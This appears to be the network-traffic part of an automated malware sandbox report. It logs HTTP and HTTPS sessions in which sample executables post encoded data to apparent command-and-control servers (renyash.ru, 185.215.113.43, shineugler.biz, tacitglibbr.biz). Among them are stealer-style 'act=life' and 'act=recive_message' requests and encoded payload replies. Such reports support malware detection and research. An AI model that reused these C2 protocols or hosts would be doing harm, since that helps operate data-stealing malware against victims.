cfL4;desc="?proto=TCP&rtt=3393&min_rtt=1595&rtt_var=4195&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=91347&cwnd=204&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.8	50410	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:19:03.694083929 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:19:04.052216053 CET	1060	OUT	Data Raw: 5d 56 43 56 59 5b 54 52 5d 5a 59 53 57 5c 5a 57 5a 52 5f 59 51 5b 52 43 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]VCVY[TR]ZYSW\ZWZR_YQ[RCXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#<?&=$30$? ^99#\+8+R%"1(=#4#Z>"F"#Y
Dec 16, 2024 13:19:04.765957117 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:19:05.003942013 CET	807	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:19:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CDAPBJuy7KmCZqyR8aIPmwy%2FOf7aHjWCgJwRyuMl4VJO1YHVtky4qq8b6Ba%2BSHOLCbqG%2BWmlD6FjQxhuDPpe5GP%2FJ1ce9J01yMXGqyunT6gAyB9tndOjiW5gsI8dREO7Dmp0XO05"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9ea1d9334268-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2891&min_rtt=1570&rtt_var=3232&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=120233&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.8	50411	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:19:03.953634977 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 13:19:05.298244953 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:19:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.8	50413	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:19:05.257210016 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:19:05.600809097 CET	1056	OUT	Data Raw: 58 53 46 57 5c 5c 51 58 5d 5a 59 53 57 5b 5a 52 5a 5e 5f 5c 51 5f 52 46 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XSFW\\QX]ZYSW[ZRZ^_\Q_RFXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#<,>=.8%0#%>##)799 ??W$"&-"4/("F"#Y 0
Dec 16, 2024 13:19:06.344109058 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:19:06.583765030 CET	803	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:19:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vc0xqY9wwt4ObrQZghmOBij0fubdrAf2xjnQRxotaHULolE2A4VWERuYScdZFGVP2dfdD7EGBwN8M7pc%2FzbbauEdFcOAKzYCcOOuBN5qFwXpI9CEg6LB0IChER5Vy8fwrI%2FtVwxe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9eabbb0a4288-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3418&min_rtt=2102&rtt_var=3420&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1399&delivery_rate=115588&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.8	50417	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:19:06.824202061 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:19:07.173583984 CET	1060	OUT	Data Raw: 58 57 43 51 59 50 51 5a 5d 5a 59 53 57 58 5a 57 5a 53 5f 58 51 59 52 43 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XWCQYPQZ]ZYSWXZWZS_XQYRCXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ (,.W==0'$Y0-$#)'-\$+<29*X"77(=("F"#Y (
Dec 16, 2024 13:19:07.908987999 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:19:08.147069931 CET	808	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:19:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j2r8RniZa2oLmyM0nxEM7JaGnGny%2FSWoC7vADwD%2B3Gj%2FkeIzgkM0gR6O8G1%2BH%2FcuXkyy8AEqNvw2U7AKtq9owJdPROU81okPatLrpOFrNhsa23d6EhNLrmqAzoTBK5QGrxXCBvN1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9eb57afa8ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4762&min_rtt=1784&rtt_var=6626&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=57002&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49741	172.67.177.250	443	3648	C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:16:28 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: shineugler.biz
2024-12-16 12:16:28 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-16 12:16:28 UTC	1013	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:16:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4bhd8359j28g9ek1lu37qiqadm; expires=Fri, 11-Apr-2025 06:03:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ted3TjlXbGpSOuPZDVPxyxChZqkx7UVJM7ABTnGWkNMJ%2BRwdnnwIsGmRqjA1t5VvVFSrVw1dpyReWCHOeDYm1zGB5gIe0HU5hcpv02e6Tsvu%2FVjYQjiLFyemjMjPaGB%2FPQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9ad18fcc7d05-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2071&min_rtt=2025&rtt_var=792&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=905&delivery_rate=1441975&cwnd=195&unsent_bytes=0&cid=95add3f076fe3a1b&ts=728&x=0"
2024-12-16 12:16:28 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 12:16:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49763	172.67.164.37	443	6788	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:16:35 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tacitglibbr.biz
2024-12-16 12:16:35 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-16 12:16:36 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:16:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c39rp6qvlqdr3v8ajjsqvqdut0; expires=Fri, 11-Apr-2025 06:03:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KHSuBRqjgkkaC5R1ItDm%2FTj%2BaEzyhxN5bpY3Mj1IYpoYOW972Zo2NU%2FFjpUmHSvjQ19u5sFLhv%2F4E0ab9%2FJf7bPxfBMurWz6%2BLiMxq3GcVYT53eHckVioXVwX%2BfM6p3WBVM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9b024baa4357-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1731&min_rtt=1726&rtt_var=659&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=906&delivery_rate=1646926&cwnd=175&unsent_bytes=0&cid=e53f15d12494890b&ts=789&x=0"
2024-12-16 12:16:36 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 12:16:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49771	172.67.164.37	443	6788	C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 12:16:37 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: tacitglibbr.biz
2024-12-16 12:16:37 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-16 12:16:39 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:16:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8l34vdnnrvusn69pfu9vqgf933; expires=Fri, 11-Apr-2025 06:03:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FuqTvR6Sg7xBapmW5zXBctazi6A4%2FIXpgZ5vawvsBeq0JdPKFNITcjWi8JgCZ7g7fdxIDIo6HKRzUEx7FHUFq02S0r0EC1KJ83Pq%2B8fr9Sbax8rs16bZBKpOJttlE%2BWNM58%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9b0ec9994234-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1764&min_rtt=1752&rtt_var=682&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=946&delivery_rate=1575822&cwnd=171&unsent_bytes=0&cid=f6bacded3db7db1c&ts=1271&x=0"
2024-12-16 12:16:39 UTC	355	IN	Data Raw: 34 65 31 0d 0a 71 6d 4a 6a 61 75 57 53 4f 62 32 6e 69 37 4f 35 67 4b 49 43 38 6a 51 75 39 53 57 56 66 4a 66 43 55 73 53 32 57 2f 76 6b 51 66 7a 52 51 42 56 49 33 36 59 56 6e 39 54 75 6b 59 50 30 30 48 65 58 47 41 79 55 51 62 64 47 38 61 4d 2b 74 39 4e 33 32 5a 49 73 33 70 41 45 41 67 61 57 39 78 57 66 77 76 4f 52 67 39 76 5a 49 4a 64 61 44 4d 38 48 38 42 62 31 6f 7a 36 6d 31 7a 43 55 6c 43 32 66 77 67 34 45 41 6f 44 78 58 64 7a 4c 35 74 62 63 35 63 4e 6f 6e 46 31 44 6e 55 69 33 55 4c 57 6e 4b 4f 61 4d 65 62 61 42 4e 5a 33 6e 41 78 41 42 78 2b 38 56 78 6f 58 75 33 5a 75 36 67 47 4f 58 56 6b 4b 54 51 66 34 55 2f 36 6f 32 70 39 49 78 69 34 30 6e 6c 4d 49 41 42 77 4f 4b 2b 45 6e 52 77 65 48 64 32 75 2f 44 49 4e 34 57 53 34 38 48 72 31 36 6d 6b 6a 4f 33 78 53 Data Ascii: 4e1qmJjauWSOb2ni7O5gKIC8jQu9SWVfJfCUsS2W/vkQfzRQBVI36YVn9TukYP00HeXGAyUQbdG8aM+t9N32ZIs3pAEAgaW9xWfwvORg9vZIJdaDM8H8Bb1oz6m1zCUlC2fwg4EAoDxXdzL5tbc5cNonF1DnUi3ULWnKOaMebaBNZ3nAxABx+8VxoXu3Zu6gGOXVkKTQf4U/6o2p9Ixi40nlMIABwOK+EnRweHd2u/DIN4WS48Hr16mkjO3xS
2024-12-16 12:16:39 UTC	901	IN	Data Raw: 76 4e 7a 65 4c 61 33 76 44 4c 61 5a 31 62 54 4a 70 4e 2b 42 33 31 70 7a 71 73 32 7a 4f 64 69 79 36 59 79 41 42 42 52 73 66 33 51 35 2b 64 71 66 4c 65 38 73 64 73 68 68 52 32 31 31 69 35 42 37 57 6e 50 4f 61 4d 65 5a 47 44 49 4a 33 44 44 77 49 41 6a 4f 4a 62 7a 63 50 6b 31 4d 6e 6b 78 57 36 61 56 56 36 64 53 66 45 64 2f 4b 73 35 6f 39 4d 39 32 63 68 6a 6d 64 42 41 57 55 69 6d 2f 56 44 54 7a 2f 37 52 6d 2f 32 4f 65 64 42 52 51 4e 63 66 74 78 72 30 70 44 47 69 32 6a 65 64 69 69 57 51 78 51 38 48 41 6f 66 33 55 64 66 4e 36 4e 7a 51 37 63 42 6c 6e 56 4a 4b 6d 30 62 79 58 72 76 67 4e 37 36 55 59 64 6d 6f 4a 4a 33 61 51 6a 51 4c 69 66 35 63 79 59 58 32 6e 38 4b 69 78 32 7a 51 44 67 79 5a 51 76 67 4d 39 4c 49 31 71 4d 59 31 6e 49 41 75 6e 63 59 41 42 41 2b 4b 2f Data Ascii: vNzeLa3vDLaZ1bTJpN+B31pzqs2zOdiy6YyABBRsf3Q5+dqfLe8sdshhR211i5B7WnPOaMeZGDIJ3DDwIAjOJbzcPk1MnkxW6aVV6dSfEd/Ks5o9M92chjmdBAWUim/VDTz/7Rm/2OedBRQNcftxr0pDGi2jediiWQxQ8HAof3UdfN6NzQ7cBlnVJKm0byXrvgN76UYdmoJJ3aQjQLif5cyYX2n8Kix2zQDgyZQvgM9LI1qMY1nIAuncYABA+K/
2024-12-16 12:16:39 UTC	1369	IN	Data Raw: 34 34 33 62 0d 0a 2b 48 5a 32 2b 2f 42 61 35 68 51 51 5a 78 49 2b 42 6e 39 6f 7a 79 6a 32 54 72 5a 79 47 4f 5a 30 45 42 5a 53 4b 4c 2b 57 4d 37 55 71 2b 54 59 37 4d 35 6e 68 68 5a 54 32 56 36 33 47 66 6e 67 61 4f 62 65 50 70 36 43 4c 70 54 4c 42 41 55 46 69 50 6c 53 31 74 66 6a 33 64 58 77 7a 57 71 56 57 45 43 53 53 50 63 66 39 4b 34 36 72 5a 52 33 32 59 45 37 33 70 42 41 4c 67 57 58 34 6c 48 55 31 4b 76 6b 32 4f 7a 4f 5a 34 59 57 55 39 6c 65 74 78 6e 35 34 47 6a 6d 33 7a 2b 56 69 69 4f 59 32 67 34 4f 47 6f 33 69 58 39 48 42 35 64 2f 53 37 38 39 6c 67 6c 4a 4d 68 55 62 79 47 66 75 74 49 71 4f 55 64 39 6d 42 4f 39 36 51 51 44 73 38 67 4f 42 4b 32 49 66 63 30 74 58 73 78 33 62 51 53 51 4b 4f 42 2f 41 53 74 66 68 77 70 64 67 30 6b 49 4d 73 6a 4d 49 4d 41 42 Data Ascii: 443b+HZ2+/Ba5hQQZxI+Bn9ozyj2TrZyGOZ0EBZSKL+WM7Uq+TY7M5nhhZT2V63GfngaObePp6CLpTLBAUFiPlS1tfj3dXwzWqVWECSSPcf9K46rZR32YE73pBALgWX4lHU1Kvk2OzOZ4YWU9letxn54Gjm3z+ViiOY2g4OGo3iX9HB5d/S789lglJMhUbyGfutIqOUd9mBO96QQDs8gOBK2Ifc0tXsx3bQSQKOB/AStfhwpdg0kIMsjMIMAB
2024-12-16 12:16:39 UTC	1369	IN	Data Raw: 30 63 48 6a 31 4e 2f 75 79 6d 43 56 52 45 53 52 51 50 73 57 38 4b 38 32 6f 39 6b 2b 6b 6f 55 78 6a 4d 73 45 44 77 54 48 76 68 76 59 33 61 6d 4a 6d 38 66 58 59 34 42 51 54 39 64 59 75 51 65 31 70 7a 7a 6d 6a 48 6d 5a 69 43 2b 56 7a 77 73 4b 44 49 50 77 56 74 54 4c 35 39 6a 58 36 73 78 6e 67 6c 74 4a 6e 30 33 2b 47 2f 6d 74 4d 37 54 58 4f 4e 6e 49 59 35 6e 51 51 46 6c 49 6f 4d 4e 73 2f 49 58 32 6e 38 4b 69 78 32 7a 51 44 67 79 57 54 2f 41 51 38 62 49 2b 74 4e 6f 2b 6d 59 41 72 6c 73 38 4d 44 77 61 56 2b 46 72 66 79 2b 62 5a 30 75 62 42 5a 4a 52 61 53 39 63 4a 74 78 6e 74 34 47 6a 6d 2f 44 71 44 6e 47 47 77 77 77 41 47 47 4a 48 72 47 38 43 4c 38 4a 48 63 37 6f 41 34 30 46 4a 48 6e 55 37 30 46 2f 47 74 4d 4b 2f 62 4d 4a 47 4c 4b 34 7a 4a 43 68 4d 4d 67 76 46 Data Ascii: 0cHj1N/uymCVRESRQPsW8K82o9k+koUxjMsEDwTHvhvY3amJm8fXY4BQT9dYuQe1pzzmjHmZiC+VzwsKDIPwVtTL59jX6sxngltJn03+G/mtM7TXONnIY5nQQFlIoMNs/IX2n8Kix2zQDgyWT/AQ8bI+tNo+mYArls8MDwaV+Frfy+bZ0ubBZJRaS9cJtxnt4Gjm/DqDnGGwwwAGGJHrG8CL8JHc7oA40FJHnU70F/GtMK/bMJGLK4zJChMMgvF
2024-12-16 12:16:39 UTC	1369	IN	Data Raw: 74 6e 57 34 63 68 79 6b 46 74 4d 68 56 58 78 46 66 76 67 66 75 62 54 49 64 6e 65 59 36 2f 66 43 30 45 58 79 65 6b 62 32 4d 6d 70 69 5a 76 68 79 6d 32 65 52 45 69 52 54 50 51 51 2f 61 55 34 6f 74 34 30 6c 6f 30 70 6c 38 41 41 44 67 32 50 2b 31 33 52 78 4f 2f 64 31 71 4b 4f 49 4a 64 4f 44 4d 38 48 30 41 54 34 70 69 65 33 34 54 36 5a 31 32 4f 42 68 68 6c 42 44 34 75 77 41 35 2f 49 35 64 76 57 35 38 52 6f 6c 31 56 4e 6d 30 50 36 45 2f 47 70 4e 4b 50 47 4b 35 2b 49 49 35 48 47 44 77 30 61 69 66 56 62 30 34 57 6e 6b 64 7a 36 67 44 6a 51 5a 31 75 58 42 2b 68 51 37 4f 41 33 71 70 52 68 32 59 6b 75 6a 4d 51 50 41 51 6d 45 39 46 44 59 77 2b 2f 51 32 4f 66 44 5a 5a 5a 58 54 4a 74 4e 38 42 62 2f 72 6a 32 67 30 44 2b 66 78 6d 33 65 7a 78 68 42 55 4d 66 43 56 74 48 4d Data Ascii: tnW4chykFtMhVXxFfvgfubTIdneY6/fC0EXyekb2MmpiZvhym2eREiRTPQQ/aU4ot40lo0pl8AADg2P+13RxO/d1qKOIJdODM8H0AT4pie34T6Z12OBhhlBD4uwA5/I5dvW58Rol1VNm0P6E/GpNKPGK5+II5HGDw0aifVb04Wnkdz6gDjQZ1uXB+hQ7OA3qpRh2YkujMQPAQmE9FDYw+/Q2OfDZZZXTJtN8Bb/rj2g0D+fxm3ezxhBUMfCVtHM
2024-12-16 12:16:39 UTC	1369	IN	Data Raw: 33 48 61 4a 39 53 54 4a 67 48 75 56 37 79 75 48 44 2b 6c 42 6d 53 6b 41 4b 51 77 78 4a 42 46 38 6e 70 47 39 6a 4a 71 59 6d 62 37 4d 6c 68 6d 46 68 41 6e 30 50 6c 48 76 36 70 50 36 66 62 4f 5a 71 48 4b 5a 62 61 42 67 45 44 6a 2f 64 54 32 38 76 37 30 4e 53 69 6a 69 43 58 54 67 7a 50 42 38 59 49 38 71 63 2f 35 50 30 2b 67 6f 63 70 6e 63 4d 4d 51 52 66 4a 36 52 76 59 79 61 6d 4a 6d 2b 2f 4d 62 5a 52 45 51 4a 64 48 2f 68 6e 2f 73 6a 2b 70 32 54 71 5a 67 7a 47 66 32 67 38 4b 44 59 54 30 56 4e 44 4a 34 64 75 62 72 49 42 6e 69 42 59 55 31 32 76 30 44 2f 2f 69 46 37 7a 43 50 70 57 58 4b 4a 50 45 51 42 35 47 6e 72 42 63 30 34 57 78 6b 64 76 6a 7a 58 4b 56 56 30 61 64 53 76 38 52 38 4b 55 2f 6f 74 41 79 6c 35 51 74 6b 63 67 47 43 67 6d 43 38 31 44 56 79 2b 44 44 6d Data Ascii: 3HaJ9STJgHuV7yuHD+lBmSkAKQwxJBF8npG9jJqYmb7MlhmFhAn0PlHv6pP6fbOZqHKZbaBgEDj/dT28v70NSijiCXTgzPB8YI8qc/5P0+gocpncMMQRfJ6RvYyamJm+/MbZREQJdH/hn/sj+p2TqZgzGf2g8KDYT0VNDJ4dubrIBniBYU12v0D//iF7zCPpWXKJPEQB5GnrBc04WxkdvjzXKVV0adSv8R8KU/otAyl5QtkcgGCgmC81DVy+DDm
2024-12-16 12:16:39 UTC	1369	IN	Data Raw: 59 56 55 6d 53 54 66 73 53 39 4b 67 35 72 4e 45 38 6e 34 77 67 6b 4d 63 42 44 51 79 4f 2f 6c 4b 66 69 36 6e 57 77 36 4b 59 49 4b 5a 47 53 34 39 4b 35 31 7a 48 6f 79 47 33 77 54 53 4a 67 47 47 78 79 77 77 43 44 59 44 67 47 38 43 4c 38 4a 48 63 37 6f 41 34 30 46 5a 49 6d 30 54 77 45 50 71 74 50 36 48 66 4e 70 4f 49 4d 5a 48 4e 43 41 30 41 69 75 4a 52 31 64 66 67 32 4e 62 73 79 48 4b 54 46 67 4c 58 51 4f 39 65 72 65 41 43 72 4e 63 31 6a 34 73 73 33 74 64 4f 47 45 69 41 2f 42 75 48 68 66 76 44 32 2b 6e 41 5a 35 35 45 54 5a 39 49 2f 52 37 7a 71 7a 71 6c 33 54 32 58 6a 79 57 66 78 51 45 41 43 49 4c 77 55 73 33 49 71 5a 2b 62 35 64 67 67 79 42 5a 37 6d 30 7a 47 48 65 50 67 4c 2b 6a 4e 65 5a 36 4b 59 38 61 49 41 52 4d 46 6a 2f 52 62 30 73 50 69 30 4e 72 68 77 47 Data Ascii: YVUmSTfsS9Kg5rNE8n4wgkMcBDQyO/lKfi6nWw6KYIKZGS49K51zHoyG3wTSJgGGxywwCDYDgG8CL8JHc7oA40FZIm0TwEPqtP6HfNpOIMZHNCA0AiuJR1dfg2NbsyHKTFgLXQO9ereACrNc1j4ss3tdOGEiA/BuHhfvD2+nAZ55ETZ9I/R7zqzql3T2XjyWfxQEACILwUs3IqZ+b5dggyBZ7m0zGHePgL+jNeZ6KY8aIARMFj/Rb0sPi0NrhwG
